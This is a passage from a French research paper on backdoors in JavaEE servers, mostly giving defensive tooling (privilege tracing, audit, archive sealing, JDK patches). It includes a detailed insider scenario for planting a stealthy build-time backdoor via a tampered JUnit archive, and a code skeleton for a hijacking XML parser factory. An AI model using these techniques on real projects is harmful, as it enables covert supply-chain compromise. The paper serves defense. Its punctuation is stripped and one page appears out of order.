Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
